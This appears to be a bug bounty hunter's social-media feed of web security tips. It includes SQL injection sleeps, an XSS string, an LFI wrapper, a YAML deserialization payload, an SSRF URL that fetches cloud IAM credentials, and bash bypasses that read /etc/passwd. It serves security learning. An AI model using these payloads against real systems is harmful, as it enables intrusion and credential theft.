Bug Bounty Hunter | Web AppSec Specializing in XSS, SQL injection, Auth bypass & input validation flaws Sharing POCs, payloads & real findings daily
planet
Joined May 2020
- Tweets1.2K
- Following437
- Followers1.6K
- Likes859
SSRF:
payload: [](http://metadata+url)
#bugbounty #bugbountytricks #infosec #xss #ssrf
SSRF:
payload: [](http://metadata+url)
#bugbounty #bugbountytricks #infosec #xss #ssrf
Payload: name field in add ' autofocus onfocus=alert(1) x=', after saved db
#bugbounty #bugbountytrics #infosec #xss #sqli
Bir web uygulamasında dosya yükleme veya görüntüleme için "pre-signed URL" kullanılıyorsa; URL'nin sonundaki dosya adını bir klasör yoluyla değiştirmeyi veya sunucunun bu URL'yi yetkilendirme kontrolü yapmadan döndürüp döndürmediğini test etmeyi unutmayın.
#bugbounty #infosec
Find Blind SSRF.
+ Redirects the request coming to its own server to the target system's internal API with a '302 Redirect'. + Result: The application makes a request to the API it thinks is internal, 'with its own privileges', and leaks data.
#SSRF #bugbounty #infosec
Two rules for #IDOR
+ The ID value must have been leaked somewhere in the application.
+ The ID value must be predictable (sequential).
#bugbounty #bugbountytrics #infosec #BAC #brokenaccesscontrol
SusluSec retweeted
📂 BUG BOUNTY
┃
┣ 📂 Recon
┃ ┣ 📂 Subdomain Enumeration
┃ ┣ 📂 Asset Discovery
┃ ┣ 📂 Port Scanning
┃ ┣ 📂 HTTP Probing
┃ ┣ 📂 DNS Enumeration
┃ ┗ 📂 Tech Detection
┃
┣ 📂 Web
┃ ┣ 📂 IDOR
┃ ┣ 📂 XSS
┃ ┣ 📂 SSRF
┃ ┣ 📂 SQLi
┃ ┣ 📂 CSRF
┃ ┣ 📂 SSTI
┃ ┗ 📂 File Upload
┃
┣ 📂 API
┃ ┣ 📂 API Discovery
┃ ┣ 📂 BOLA
┃ ┣ 📂 Authentication
┃ ┣ 📂 Authorization
┃ ┣ 📂 Rate Limiting
┃ ┗ 📂 Mass Assignment
┃
┣ 📂 Auth
┃ ┣ 📂 OAuth
┃ ┣ 📂 JWT
┃ ┣ 📂 Sessions
┃ ┣ 📂 MFA
┃ ┗ 📂 Account Takeover
┃
┣ 📂 Automation
┃ ┣ 📂 Recon Automation
┃ ┣ 📂 Nuclei
┃ ┣ 📂 Custom Scripts
┃ ┣ 📂 Asset Monitoring
┃ ┗ 📂 Workflow Orchestration
┃
┣ 📂 Burp Suite
┃ ┣ 📂 Proxy
┃ ┣ 📂 Repeater
┃ ┣ 📂 Intruder
┃ ┣ 📂 Extensions
┃ ┗ 📂 Match & Replace
┃
┣ 📂 Cloud
┃ ┣ 📂 AWS
┃ ┣ 📂 Azure
┃ ┣ 📂 GCP
┃ ┣ 📂 S3
┃ ┗ 📂 Misconfigurations
┃
┣ 📂 Reporting
┃ ┣ 📂 Validation
┃ ┣ 📂 PoC
┃ ┣ 📂 Impact
┃ ┣ 📂 Severity
┃ ┗ 📂 Report Writing
┃
┗ 📂 Growth
┣ 📂 Writeups
┣ 📂 CVE Research
┣ 📂 New Attack Surfaces
┣ 📂 Workflow Optimization
┗ 📂 Continuous Learning
The goal isn't to use more tools.
It's to build a workflow where every step feeds the next.
Recon → Discover → Test → Validate → Report
That's bug bounty orchestration.
#BugBounty #CyberSecurity #AppSec
#openredirect
payload: X-Forwarded-Host with openredirect
How can I increase the impact?
outof-scope
#bugbounty #bugbountytrics #infosec #xss #openredirect
#sqli
payload: '%2b(select*from(select(sleep(5)))a)%2b'
#bugbounty #bugbountytrics #infosec #xss #sqli
#LocalFileInclusion #LFI #php
payload: php://filter/convert.base64-encode/resource=index.php
#bugbounty #bugbountytips #infosec
#fileupload #yaml #yml #python
payload: !!python/object/apply:time.sleep [20]
#bugbounty #bugbountytips #infosec
SusluSec retweeted
Bash RCE Bypass Tricks
Empty Quote Split
c''at /etc//passwd
Brace Expansion
{cat,/etc//passwd}
IFS Space Replace
cat${IFS,}/etc//passwd
Wildcard Path
/???/ca? /e*/p*wd
Reverse Execution
$(rev<<<'dwssap/cte/ tac')
Base64 Self-Decode
echo Y2F0IC9ldGMvcGFzc3dk|base64 -d|bash
‼️ BREAKING - A newly discovered #WordPress pre-auth XSS affects every version.
XSS2Shell (CVE-2026-64638) can run attacker-controlled JS in a site's origin without a login. With a logged-in Administrator, one click, and required deployment conditions, it can be chained to PHP code execution.
Update your WordPress sites ASAP 🠖 thehackernews.com/2026/08/ne…
#sqli
payload: 0'XOR(if(now()=sysdate(),sleep(20),0))XOR'Z
#bugbounty #bugbountytrics #infosec #xss #sqli
#ssrf
extention bypass if it requires the file to end with .yaml
do it: url=http://2852039166/latest/meta-data/iam/security-credentials/target-web-role?a=example.yaml
paramter with bypass #bugbounty #bugbountytrics #
